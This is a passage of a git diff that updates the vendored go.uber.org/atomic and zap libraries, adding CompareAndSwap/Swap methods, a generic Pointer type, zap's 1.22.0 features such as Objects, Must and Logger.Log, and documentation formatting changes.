Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. + +//go:build go1.19 +// +build go1.19 + +package atomic + +import "sync/atomic" + +// Pointer is an atomic pointer of type *T. +type Pointer[T any] struct { + _ nocmp // disallow non-atomic comparison + p atomic.Pointer[T] +} + +// NewPointer creates a new Pointer. +func NewPointer[T any](v *T) *Pointer[T] { + var p Pointer[T] + if v != nil { + p.p.Store(v) + } + return &p +} + +// Load atomically loads the wrapped value. +func (p *Pointer[T]) Load() *T { + return p.p.Load() +} + +// Store atomically stores the passed value. +func (p *Pointer[T]) Store(val *T) { + p.p.Store(val) +} + +// Swap atomically swaps the wrapped pointer and returns the old value. +func (p *Pointer[T]) Swap(val *T) (old *T) { + return p.p.Swap(val) +} + +// CompareAndSwap is an atomic compare-and-swap. +func (p *Pointer[T]) CompareAndSwap(old, new *T) (swapped bool) { + return p.p.CompareAndSwap(old, new) +} diff --git a/vendor/go.uber.org/atomic/string.go b/vendor/go.uber.org/atomic/string.go index 80df93d09..c4bea70f4 100644 --- a/vendor/go.uber.org/atomic/string.go +++ b/vendor/go.uber.org/atomic/string.go @@ -1,6 +1,6 @@ // @generated Code generated by gen-atomicwrapper. -// Copyright (c) 2020-2021 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -52,3 +52,14 @@ func (x *String) Load() string { func (x *String) Store(val string) { x.v.Store(val) } + +// CompareAndSwap is an atomic compare-and-swap for string values. +func (x *String) CompareAndSwap(old, new string) (swapped bool) { + return x.v.CompareAndSwap(old, new) +} + +// Swap atomically stores the given string and returns the old +// value. +func (x *String) Swap(val string) (old string) { + return x.v.Swap(val).(string) +} diff --git a/vendor/go.uber.org/atomic/string_ext.go b/vendor/go.uber.org/atomic/string_ext.go index 83d92edaf..1f63dfd5b 100644 --- a/vendor/go.uber.org/atomic/string_ext.go +++ b/vendor/go.uber.org/atomic/string_ext.go @@ -1,4 +1,4 @@ -// Copyright (c) 2020 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,9 +20,7 @@ package atomic -//go:generate bin/gen-atomicwrapper -name=String -type=string -wrapped=Value -file=string.go -// Note: No Swap as String wraps Value, which wraps the stdlib sync/atomic.Value which -// only supports Swap as of go1.17: https://github.com/golang/go/issues/39351 +//go:generate bin/gen-atomicwrapper -name=String -type=string -wrapped=Value -compareandswap -swap -file=string.go // String returns the wrapped value. func (s *String) String() string { diff --git a/vendor/go.uber.org/atomic/time.go b/vendor/go.uber.org/atomic/time.go index 33460fc37..1660feb14 100644 --- a/vendor/go.uber.org/atomic/time.go +++ b/vendor/go.uber.org/atomic/time.go @@ -1,6 +1,6 @@ // @generated Code generated by gen-atomicwrapper. -// Copyright (c) 2020-2021 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal diff --git a/vendor/go.uber.org/atomic/uint32.go b/vendor/go.uber.org/atomic/uint32.go index 7859a9cc3..d6f04a96d 100644 --- a/vendor/go.uber.org/atomic/uint32.go +++ b/vendor/go.uber.org/atomic/uint32.go @@ -1,6 +1,6 @@ // @generated Code generated by gen-atomicint. -// Copyright (c) 2020-2021 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -66,7 +66,14 @@ func (i *Uint32) Dec() uint32 { } // CAS is an atomic compare-and-swap. +// +// Deprecated: Use CompareAndSwap. func (i *Uint32) CAS(old, new uint32) (swapped bool) { + return i.CompareAndSwap(old, new) +} + +// CompareAndSwap is an atomic compare-and-swap. +func (i *Uint32) CompareAndSwap(old, new uint32) (swapped bool) { return atomic.CompareAndSwapUint32(&i.v, old, new) } diff --git a/vendor/go.uber.org/atomic/uint64.go b/vendor/go.uber.org/atomic/uint64.go index 2f2a7db63..2574bdd5e 100644 --- a/vendor/go.uber.org/atomic/uint64.go +++ b/vendor/go.uber.org/atomic/uint64.go @@ -1,6 +1,6 @@ // @generated Code generated by gen-atomicint. -// Copyright (c) 2020-2021 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -66,7 +66,14 @@ func (i *Uint64) Dec() uint64 { } // CAS is an atomic compare-and-swap. +// +// Deprecated: Use CompareAndSwap. func (i *Uint64) CAS(old, new uint64) (swapped bool) { + return i.CompareAndSwap(old, new) +} + +// CompareAndSwap is an atomic compare-and-swap. +func (i *Uint64) CompareAndSwap(old, new uint64) (swapped bool) { return atomic.CompareAndSwapUint64(&i.v, old, new) } diff --git a/vendor/go.uber.org/atomic/uintptr.go b/vendor/go.uber.org/atomic/uintptr.go index ecf7a7727..81b275a7a 100644 --- a/vendor/go.uber.org/atomic/uintptr.go +++ b/vendor/go.uber.org/atomic/uintptr.go @@ -1,6 +1,6 @@ // @generated Code generated by gen-atomicint. -// Copyright (c) 2020-2021 Uber Technologies, Inc. +// Copyright (c) 2020-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -66,7 +66,14 @@ func (i *Uintptr) Dec() uintptr { } // CAS is an atomic compare-and-swap. +// +// Deprecated: Use CompareAndSwap. func (i *Uintptr) CAS(old, new uintptr) (swapped bool) { + return i.CompareAndSwap(old, new) +} + +// CompareAndSwap is an atomic compare-and-swap. +func (i *Uintptr) CompareAndSwap(old, new uintptr) (swapped bool) { return atomic.CompareAndSwapUintptr(&i.v, old, new) } diff --git a/vendor/go.uber.org/atomic/unsafe_pointer.go b/vendor/go.uber.org/atomic/unsafe_pointer.go index 169f793dc..34868baf6 100644 --- a/vendor/go.uber.org/atomic/unsafe_pointer.go +++ b/vendor/go.uber.org/atomic/unsafe_pointer.go @@ -1,4 +1,4 @@ -// Copyright (c) 2021 Uber Technologies, Inc. +// Copyright (c) 2021-2022 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -53,6 +53,13 @@ func (p *UnsafePointer) Swap(val unsafe.Pointer) (old unsafe.Pointer) { } // CAS is an atomic compare-and-swap. +// +// Deprecated: Use CompareAndSwap func (p *UnsafePointer) CAS(old, new unsafe.Pointer) (swapped bool) { + return p.CompareAndSwap(old, new) +} + +// CompareAndSwap is an atomic compare-and-swap. +func (p *UnsafePointer) CompareAndSwap(old, new unsafe.Pointer) (swapped bool) { return atomic.CompareAndSwapPointer(&p.v, old, new) } diff --git a/vendor/go.uber.org/atomic/value.go b/vendor/go.uber.org/atomic/value.go index 671f3a382..52caedb9a 100644 --- a/vendor/go.uber.org/atomic/value.go +++ b/vendor/go.uber.org/atomic/value.go @@ -25,7 +25,7 @@ import "sync/atomic" // Value shadows the type of the same name from sync/atomic // https://godoc.org/sync/atomic#Value type Value struct { - atomic.Value - _ nocmp // disallow non-atomic comparison + + atomic.Value } diff --git a/vendor/go.uber.org/zap/CHANGELOG.md b/vendor/go.uber.org/zap/CHANGELOG.md index 1793b08c8..a2c38b72c 100644 --- a/vendor/go.uber.org/zap/CHANGELOG.md +++ b/vendor/go.uber.org/zap/CHANGELOG.md @@ -3,6 +3,34 @@ All notable changes to this project will be documented in this file. This project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +## 1.22.0 (8 Aug 2022) + +Enhancements: +* [#1071][]: Add `zap.Objects` and `zap.ObjectValues` field constructors to log + arrays of objects. With these two constructors, you don't need to implement + `zapcore.ArrayMarshaler` for use with `zap.Array` if those objects implement + `zapcore.ObjectMarshaler`. +* [#1079][]: Add `SugaredLogger.WithOptions` to build a copy of an existing + `SugaredLogger` with the provided options applied. +* [#1080][]: Add `*ln` variants to `SugaredLogger` for each log level. + These functions provide a string joining behavior similar to `fmt.Println`. +* [#1088][]: Add `zap.WithFatalHook` option to control the behavior of the + logger for `Fatal`-level log entries. This defaults to exiting the program. +* [#1108][]: Add a `zap.Must` function that you can use with `NewProduction` or + `NewDevelopment` to panic if the system was unable to build the logger. +* [#1118][]: Add a `Logger.Log` method that allows specifying the log level for + a statement dynamically. + +Thanks to @cardil, @craigpastro, @sashamelentyev, @shota3506, and @zhupeijun +for their contributions to this release. + +[#1071]: https://github.com/uber-go/zap/pull/1071 +[#1079]: https://github.com/uber-go/zap/pull/1079 +[#1080]: https://github.com/uber-go/zap/pull/1080 +[#1088]: https://github.com/uber-go/zap/pull/1088 +[#1108]: https://github.com/uber-go/zap/pull/1108 +[#1118]: https://github.com/uber-go/zap/pull/1118 + ## 1.21.0 (7 Feb 2022) Enhancements: diff --git a/vendor/go.uber.org/zap/CONTRIBUTING.md b/vendor/go.uber.org/zap/CONTRIBUTING.md index 5cd965687..ea02f3cae 100644 --- a/vendor/go.uber.org/zap/CONTRIBUTING.md +++ b/vendor/go.uber.org/zap/CONTRIBUTING.md @@ -16,7 +16,7 @@ you to accept the CLA when you open your pull request. [Fork][fork], then clone the repository: -``` +```bash mkdir -p $GOPATH/src/go.uber.org cd $GOPATH/src/go.uber.org git clone git@github.com:your_github_username/zap.git @@ -27,21 +27,16 @@ git fetch upstream Make sure that the tests and the linters pass: -``` +```bash make test make lint ``` -If you're not using the minor version of Go specified in the Makefile's -`LINTABLE_MINOR_VERSIONS` variable, `make lint` doesn't do anything. This is -fine, but it means that you'll only discover lint failures after you open your -pull request. - ## Making Changes Start by creating a new branch for your changes: -``` +```bash cd $GOPATH/src/go.uber.org/zap git checkout master git fetch upstream @@ -52,22 +47,22 @@ git checkout -b cool_new_feature Make your changes, then ensure that `make lint` and `make test` still pass. If you're satisfied with your changes, push them to your fork. -``` +```bash git push origin cool_new_feature ``` Then use the GitHub UI to open a pull request. -At this point, you're waiting on us to review your changes. We *try* to respond +At this point, you're waiting on us to review your changes. We _try_ to respond to issues and pull requests within a few business days, and we may suggest some improvements or alternatives. Once your changes are approved, one of the project maintainers will merge them. We're much more likely to approve your changes if you: -* Add tests for new functionality. -* Write a [good commit message][commit-message]. -* Maintain backward compatibility. +- Add tests for new functionality. +- Write a [good commit message][commit-message]. +- Maintain backward compatibility. [fork]: https://github.com/uber-go/zap/fork [open-issue]: https://github.com/uber-go/zap/issues/new diff --git a/vendor/go.uber.org/zap/README.md b/vendor/go.uber.org/zap/README.md index 9c9dfe1ed..a553a428c 100644 --- a/vendor/go.uber.org/zap/README.md +++ b/vendor/go.uber.org/zap/README.md @@ -54,7 +54,7 @@ and make many small allocations. Put differently, using `encoding/json` and Zap takes a different approach. It includes a reflection-free, zero-allocation JSON encoder, and the base `Logger` strives to avoid serialization overhead and allocations wherever possible. By building the high-level `SugaredLogger` -on that foundation, zap lets users *choose* when they need to count every +on that foundation, zap lets users _choose_ when they need to count every allocation and when they'd prefer a more familiar, loosely typed API. As measured by its own [benchmarking suite][], not only is zap more performant @@ -64,40 +64,40 @@ id="anchor-versions">[1](#footnote-versions)</sup> Log a message and 10 fields: -| Package | Time | Time % to zap | Objects Allocated | -| :------ | :--: | :-----------: | :---------------: | -| :zap: zap | 2900 ns/op | +0% | 5 allocs/op -| :zap: zap (sugared) | 3475 ns/op | +20% | 10 allocs/op -| zerolog | 10639 ns/op | +267% | 32 allocs/op -| go-kit | 14434 ns/op | +398% | 59 allocs/op -| logrus | 17104 ns/op | +490% | 81 allocs/op -| apex/log | 32424 ns/op | +1018% | 66 allocs/op -| log15 | 33579 ns/op | +1058% | 76 allocs/op +| Package | Time | Time % to zap | Objects Allocated | +| :------------------ | :---------: | :-----------: | :---------------: | +| :zap: zap | 2900 ns/op | +0% | 5 allocs/op | +| :zap: zap (sugared) | 3475 ns/op | +20% | 10 allocs/op | +| zerolog | 10639 ns/op | +267% | 32 allocs/op | +| go-kit | 14434 ns/op | +398% | 59 allocs/op | +| logrus | 17104 ns/op | +490% | 81 allocs/op | +| apex/log | 32424 ns/op | +1018% | 66 allocs/op | +| log15 | 33579 ns/op | +1058% | 76 allocs/op | Log a message with a logger that already has 10 fields of context: -| Package | Time | Time % to zap | Objects Allocated | -| :------ | :--: | :-----------: | :---------------: | -| :zap: zap | 373 ns/op | +0% | 0 allocs/op -| :zap: zap (sugared) | 452 ns/op | +21% | 1 allocs/op -| zerolog | 288 ns/op | -23% | 0 allocs/op -| go-kit | 11785 ns/op | +3060% | 58 allocs/op -| logrus | 19629 ns/op | +5162% | 70 allocs/op -| log15 | 21866 ns/op | +5762% | 72 allocs/op -| apex/log | 30890 ns/op | +8182% | 55 allocs/op +| Package | Time | Time % to zap | Objects Allocated | +| :------------------ | :---------: | :-----------: | :---------------: | +| :zap: zap | 373 ns/op | +0% | 0 allocs/op | +| :zap: zap (sugared) | 452 ns/op | +21% | 1 allocs/op | +| zerolog | 288 ns/op | -23% | 0 allocs/op | +| go-kit | 11785 ns/op | +3060% | 58 allocs/op | +| logrus | 19629 ns/op | +5162% | 70 allocs/op | +| log15 | 21866 ns/op | +5762% | 72 allocs/op | +| apex/log | 30890 ns/op | +8182% | 55 allocs/op | Log a static string, without any context or `printf`-style templating: -| Package | Time | Time % to zap | Objects Allocated | -| :------ | :--: | :-----------: | :---------------: | -| :zap: zap | 381 ns/op | +0% | 0 allocs/op -| :zap: zap (sugared) | 410 ns/op | +8% | 1 allocs/op -| zerolog | 369 ns/op | -3% | 0 allocs/op -| standard library | 385 ns/op | +1% | 2 allocs/op -| go-kit | 606 ns/op | +59% | 11 allocs/op -| logrus | 1730 ns/op | +354% | 25 allocs/op -| apex/log | 1998 ns/op | +424% | 7 allocs/op -| log15 | 4546 ns/op | +1093% | 22 allocs/op +| Package | Time | Time % to zap | Objects Allocated | +| :------------------ | :--------: | :-----------: | :---------------: | +| :zap: zap | 381 ns/op | +0% | 0 allocs/op | +| :zap: zap (sugared) | 410 ns/op | +8% | 1 allocs/op | +| zerolog | 369 ns/op | -3% | 0 allocs/op | +| standard library | 385 ns/op | +1% | 2 allocs/op | +| go-kit | 606 ns/op | +59% | 11 allocs/op | +| logrus | 1730 ns/op | +354% | 25 allocs/op | +| apex/log | 1998 ns/op | +424% | 7 allocs/op | +| log15 | 4546 ns/op | +1093% | 22 allocs/op | ## Development Status: Stable @@ -131,4 +131,3 @@ pinned in the [benchmarks/go.mod][] file. [↩](#anchor-versions) [cov]: https://codecov.io/gh/uber-go/zap [benchmarking suite]: https://github.com/uber-go/zap/tree/master/benchmarks [benchmarks/go.mod]: https://github.com/uber-go/zap/blob/master/benchmarks/go.mod - diff --git a/vendor/go.uber.org/zap/array_go118.go b/vendor/go.uber.org/zap/array_go118.go new file mode 100644 index 000000000..db36ec37f --- /dev/null +++ b/vendor/go.uber.org/zap/array_go118.go @@ -0,0 +1,124 @@ +// Copyright (c) 2022 Uber Technologies, Inc. +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. + +//go:build go1.18 +// +build go1.18 + +package zap + +import "go.uber.org/zap/zapcore" + +// Objects constructs a field with the given key, holding a list of the +// provided objects that can be marshaled by Zap. +// +// Note that these objects must implement zapcore.ObjectMarshaler directly. +// That is, if you're trying to marshal a []Request, the MarshalLogObject +// method must be declared on the Request type, not its pointer (*Request). +// If it's on the pointer, use ObjectValues. +// +// Given an object that implements MarshalLogObject on the value receiver, you +// can log a slice of those objects with Objects like so: +// +// type Author struct{ ... } +// func (a Author) MarshalLogObject(enc zapcore.ObjectEncoder) error +// +// var authors []Author = ... +// logger.Info("loading article", zap.Objects("authors", authors)) +// +// Similarly, given a type that implements MarshalLogObject on its pointer +// receiver, you can log a slice of pointers to that object with Objects like +// so: +// +// type Request struct{ ... } +// func (r *Request) MarshalLogObject(enc zapcore.ObjectEncoder) error +// +// var requests []*Request = ... +// logger.Info("sending requests", zap.Objects("requests", requests)) +// +// If instead, you have a slice of values of such an object, use the +// ObjectValues constructor. +// +// var requests []Request = ... +// logger.Info("sending requests", zap.ObjectValues("requests", requests)) +func Objects[T zapcore.ObjectMarshaler](key string, values []T) Field { + return Array(key, objects[T](values)) +} + +type objects[T zapcore.ObjectMarshaler] []T + +func (os objects[T]) MarshalLogArray(arr zapcore.ArrayEncoder) error { + for _, o := range os { + if err := arr.AppendObject(o); err != nil { + return err + } + } + return nil +} + +// objectMarshalerPtr is a constraint that specifies that the given type +// implements zapcore.ObjectMarshaler on a pointer receiver. +type objectMarshalerPtr[T any] interface { + *T + zapcore.ObjectMarshaler +} + +// ObjectValues constructs a field with the given key, holding a list of the +// provided objects, where pointers to these objects can be marshaled by Zap. +// +// Note that pointers to these objects must implement zapcore.ObjectMarshaler. +// That is, if you're trying to marshal a []Request, the MarshalLogObject +// method must be declared on the *Request type, not the value (Request). +// If it's on the value, use Objects. +// +// Given an object that implements MarshalLogObject on the pointer receiver, +// you can log a slice of those objects with ObjectValues like so: +// +// type Request struct{ ... } +// func (r *Request) MarshalLogObject(enc zapcore.ObjectEncoder) error +// +// var requests []Request = ... +// logger.Info("sending requests", zap.ObjectValues("requests", requests)) +// +// If instead, you have a slice of pointers of such an object, use the Objects +// field constructor. +// +// var requests []*Request = ... +// logger.Info("sending requests", zap.Objects("requests", requests)) +func ObjectValues[T any, P objectMarshalerPtr[T]](key string, values []T) Field { + return Array(key, objectValues[T, P](values)) +} + +type objectValues[T any, P objectMarshalerPtr[T]] []T + +func (os objectValues[T, P]) MarshalLogArray(arr zapcore.ArrayEncoder) error { + for i := range os { + // It is necessary for us to explicitly reference the "P" type. + // We cannot simply pass "&os[i]" to AppendObject because its type + // is "*T", which the type system does not consider as + // implementing ObjectMarshaler. + // Only the type "P" satisfies ObjectMarshaler, which we have + // to convert "*T" to explicitly. + var p P = &os[i] + if err := arr.AppendObject(p); err != nil { + return err + } + } + return nil +} diff --git a/vendor/go.uber.org/zap/config.go b/vendor/go.uber.org/zap/config.go index 55637fb0b..ee6096766 100644 --- a/vendor/go.uber.org/zap/config.go +++ b/vendor/go.uber.org/zap/config.go @@ -21,7 +21,7 @@ package zap import ( - "fmt" + "errors" "sort" "time" @@ -182,7 +182,7 @@ func (cfg Config) Build(opts ...Option) (*Logger, error) { } if cfg.Level == (AtomicLevel{}) { - return nil, fmt.Errorf("missing Level") + return nil, errors.New("missing Level") } log := New( diff --git a/vendor/go.uber.org/zap/doc.go b/vendor/go.uber.org/zap/doc.go index 8638dd1b9..3c50d7b4d 100644 --- a/vendor/go.uber.org/zap/doc.go +++ b/vendor/go.uber.org/zap/doc.go @@ -32,7 +32,7 @@ // they need to count every allocation and when they'd prefer a more familiar, // loosely typed API. // -// Choosing a Logger +// # Choosing a Logger // // In contexts where performance is nice, but not critical, use the // SugaredLogger. It's 4-10x faster than other structured logging packages and @@ -41,14 +41,15 @@ // variadic number of key-value pairs. (For more advanced use cases, they also // accept strongly typed fields - see the SugaredLogger.With documentation for // details.) -// sugar := zap.NewExample().Sugar() -// defer sugar.Sync() -// sugar.Infow("failed to fetch URL", -// "url", "http://example.com", -// "attempt", 3, -// "backoff", time.Second, -// ) -// sugar.Infof("failed to fetch URL: %s", "http://example.com") +// +// sugar := zap.NewExample().Sugar() +// defer sugar.Sync() +// sugar.Infow("failed to fetch URL", +// "url", "http://example.com", +// "attempt", 3, +// "backoff", time.Second, +// ) +// sugar.Infof("failed to fetch URL: %s", "http://example.com") // // By default, loggers are unbuffered. However, since zap's low-level APIs // allow buffering, calling Sync before letting your process exit is a good @@ -57,32 +58,35 @@ // In the rare contexts where every microsecond and every allocation matter, // use the Logger. It's even faster than the SugaredLogger and allocates far // less, but it only supports strongly-typed, structured logging. -// logger := zap.NewExample() -// defer logger.Sync() -// logger.Info("failed to fetch URL", -// zap.String("url", "http://example.com"), -// zap.Int("attempt", 3), -// zap.Duration("backoff", time.Second), -// ) +// +// logger := zap.NewExample() +// defer logger.Sync() +// logger.Info("failed to fetch URL", +// zap.String("url", "http://example.com"), +// zap.Int("attempt", 3), +// zap.Duration("backoff", time.Second), +// ) // // Choosing between the Logger and SugaredLogger doesn't need to be an // application-wide decision: converting between the two is simple and // inexpensive. -// logger := zap.NewExample() -// defer logger.Sync() -// sugar := logger.Sugar() -// plain := sugar.Desugar() // -// Configuring Zap +// logger := zap.NewExample() +// defer logger.Sync() +// sugar := logger.Sugar() +// plain := sugar.Desugar() +// +// # Configuring Zap // // The simplest way to build a Logger is to use zap's opinionated presets: // NewExample, NewProduction, and NewDevelopment. These presets build a logger // with a single function call: -// logger, err := zap.NewProduction() -// if err != nil { -// log.Fatalf("can't initialize zap logger: %v", err) -// } -// defer logger.Sync() +// +// logger, err := zap.NewProduction() +// if err != nil { +// log.Fatalf("can't initialize zap logger: %v", err) +// } +// defer logger.Sync() // // Presets are fine for small projects, but larger projects and organizations // naturally require a bit more customization. For most users, zap's Config @@ -94,7 +98,7 @@ // go.uber.org/zap/zapcore. See the package-level AdvancedConfiguration // example for sample code. // -// Extending Zap +// # Extending Zap // // The zap package itself is a relatively thin wrapper around the interfaces // in go.uber.org/zap/zapcore. Extending zap to support a new encoding (e.g., @@ -106,7 +110,7 @@ // Similarly, package authors can use the high-performance Encoder and Core // implementations in the zapcore package to build their own loggers. // -// Frequently Asked Questions +// # Frequently Asked Questions // // An FAQ covering everything from installation errors to design decisions is // available at https://github.com/uber-go/zap/blob/master/FAQ.md. diff --git a/vendor/go.uber.org/zap/encoder.go b/vendor/go.uber.org/zap/encoder.go index 08ed83354..caa04ceef 100644 --- a/vendor/go.uber.org/zap/encoder.go +++ b/vendor/go.uber.org/zap/encoder.go @@ -63,7 +63,7 @@ func RegisterEncoder(name string, constructor func(zapcore.EncoderConfig) (zapco func newEncoder(name string, encoderConfig zapcore.EncoderConfig) (zapcore.Encoder, error) { if encoderConfig.TimeKey != "" && encoderConfig.EncodeTime == nil { - return nil, fmt.Errorf("missing EncodeTime in EncoderConfig") + return nil, errors.New("missing EncodeTime in EncoderConfig") } _encoderMutex.RLock() diff --git a/vendor/go.uber.org/zap/http_handler.go b/vendor/go.uber.org/zap/http_handler.go index 1297c33b3..632b6831a 100644 --- a/vendor/go.uber.org/zap/http_handler.go +++ b/vendor/go.uber.org/zap/http_handler.go @@ -22,6 +22,7 @@ package zap import ( "encoding/json" + "errors" "fmt" "io" "net/http" @@ -32,22 +33,23 @@ import ( // ServeHTTP is a simple JSON endpoint that can report on or change the current // logging level. // -// GET +// # GET // // The GET request returns a JSON description of the current logging level like: -// {"level":"info"} // -// PUT +// {"level":"info"} +// +// # PUT // // The PUT request changes the logging level. It is perfectly safe to change the // logging level while a program is running. Two content types are supported: // -// Content-Type: application/x-www-form-urlencoded +// Content-Type: application/x-www-form-urlencoded // // With this content type, the level can be provided through the request body or // a query parameter. The log level is URL encoded like: // -// level=debug +// level=debug // // The request body takes precedence over the query parameter, if both are // specified. @@ -55,18 +57,17 @@ import ( // This content type is the default for a curl PUT request. Following are two // example curl requests that both set the logging level to debug. // -// curl -X PUT localhost:8080/log/level?level=debug -// curl -X PUT localhost:8080/log/level -d level=debug +// curl -X PUT localhost:8080/log/level?level=debug +// curl -X PUT localhost:8080/log/level -d level=debug // // For any other content type, the payload is expected to be JSON encoded and // look like: // -// {"level":"info"} +// {"level":"info"} // // An example curl request could look like this: // -// curl -X PUT localhost:8080/log/level -H "Content-Type: application/json" -d '{"level":"debug"}' -// +// curl -X PUT localhost:8080/log/level -H "Content-Type: application/json" -d '{"level":"debug"}' func (lvl AtomicLevel) ServeHTTP(w http.ResponseWriter, r *http.Request) { type errorResponse struct { Error string `json:"error"` @@ -108,7 +109,7 @@ func decodePutRequest(contentType string, r *http.Request) (zapcore.Level, error func decodePutURL(r *http.Request) (zapcore.Level, error) { lvl := r.FormValue("level") if lvl == "" { - return 0, fmt.Errorf("must specify logging level") + return 0, errors.New("must specify logging level") } var l zapcore.Level if err := l.UnmarshalText([]byte(lvl)); err != nil { @@ -125,7 +126,7 @@ func decodePutJSON(body io.Reader) (zapcore.Level, error) { return 0, fmt.Errorf("malformed request body: %v", err) } if pld.Level == nil { - return 0, fmt.Errorf("must specify logging level") + return 0, errors.New("must specify logging level") } return *pld.Level, nil diff --git a/vendor/go.uber.org/zap/internal/exit/exit.go b/vendor/go.uber.org/zap/internal/exit/exit.go index dfc5b05fe..f673f9947 100644 --- a/vendor/go.uber.org/zap/internal/exit/exit.go +++ b/vendor/go.uber.org/zap/internal/exit/exit.go @@ -24,24 +24,25 @@ package exit import "os" -var real = func() { os.Exit(1) } +var _exit = os.Exit -// Exit normally terminates the process by calling os.Exit(1). If the package -// is stubbed, it instead records a call in the testing spy. -func Exit() { - real() +// With terminates the process by calling os.Exit(code). If the package is +// stubbed, it instead records a call in the testing spy. +func With(code int) { + _exit(code) } // A StubbedExit is a testing fake for os.Exit. type StubbedExit struct { Exited bool - prev func() + Code int + prev func(code int) } // Stub substitutes a fake for the call to os.Exit(1). func Stub() *StubbedExit { - s := &StubbedExit{prev: real} - real = s.exit + s := &StubbedExit{prev: _exit} + _exit = s.exit return s } @@ -56,9 +57,10 @@ func WithStub(f func()) *StubbedExit { // Unstub restores the previous exit function. func (se *StubbedExit) Unstub() { - real = se.prev + _exit = se.prev } -func (se *StubbedExit) exit() { +func (se *StubbedExit) exit(code int) { se.Exited = true + se.Code = code } diff --git a/vendor/go.uber.org/zap/logger.go b/vendor/go.uber.org/zap/logger.go index 087c74222..b5f9a99fd 100644 --- a/vendor/go.uber.org/zap/logger.go +++ b/vendor/go.uber.org/zap/logger.go @@ -22,7 +22,7 @@ package zap import ( "fmt" - "io/ioutil" + "io" "os" "strings" @@ -42,7 +42,7 @@ type Logger struct { development bool addCaller bool - onFatal zapcore.CheckWriteAction // default is WriteThenFatal + onFatal zapcore.CheckWriteHook // default is WriteThenFatal name string errorOutput zapcore.WriteSyncer @@ -85,7 +85,7 @@ func New(core zapcore.Core, options ...Option) *Logger { func NewNop() *Logger { return &Logger{ core: zapcore.NewNopCore(), - errorOutput: zapcore.AddSync(ioutil.Discard), + errorOutput: zapcore.AddSync(io.Discard), addStack: zapcore.FatalLevel + 1, clock: zapcore.DefaultClock, } @@ -107,6 +107,19 @@ func NewDevelopment(options ...Option) (*Logger, error) { return NewDevelopmentConfig().Build(options...) } +// Must is a helper that wraps a call to a function returning (*Logger, error) +// and panics if the error is non-nil. It is intended for use in variable +// initialization such as: +// +// var logger = zap.Must(zap.NewProduction()) +func Must(logger *Logger, err error) *Logger { + if err != nil { + panic(err) + } + + return logger +} + // NewExample builds a Logger that's designed for use in zap's testable // examples. It writes DebugLevel and above logs to standard out as JSON, but // omits the timestamp and calling function to keep example output @@ -177,6 +190,14 @@ func (log *Logger) Check(lvl zapcore.Level, msg string) *zapcore.CheckedEntry { return log.check(lvl, msg) } +// Log logs a message at the specified level. The message includes any fields +// passed at the log site, as well as any fields accumulated on the logger. +func (log *Logger) Log(lvl zapcore.Level, msg string, fields ...Field) { + if ce := log.check(lvl, msg); ce != nil { + ce.Write(fields...) + } +} + // Debug logs a message at DebugLevel. The message includes any fields passed // at the log site, as well as any fields accumulated on the logger. func (log *Logger) Debug(msg string, fields ...Field) { @@ -285,18 +306,27 @@ func (log *Logger) check(lvl zapcore.Level, msg string) *zapcore.CheckedEntry { // Set up any required terminal behavior. switch ent.Level { case zapcore.PanicLevel: - ce = ce.Should(ent, zapcore.WriteThenPanic) + ce = ce.After(ent, zapcore.WriteThenPanic) case zapcore.FatalLevel: onFatal := log.onFatal - // Noop is the default value for CheckWriteAction, and it leads to - // continued execution after a Fatal which is unexpected. - if onFatal == zapcore.WriteThenNoop { + // nil or WriteThenNoop will lead to continued execution after + // a Fatal log entry, which is unexpected. For example, + // + // f, err := os.Open(..) + // if err != 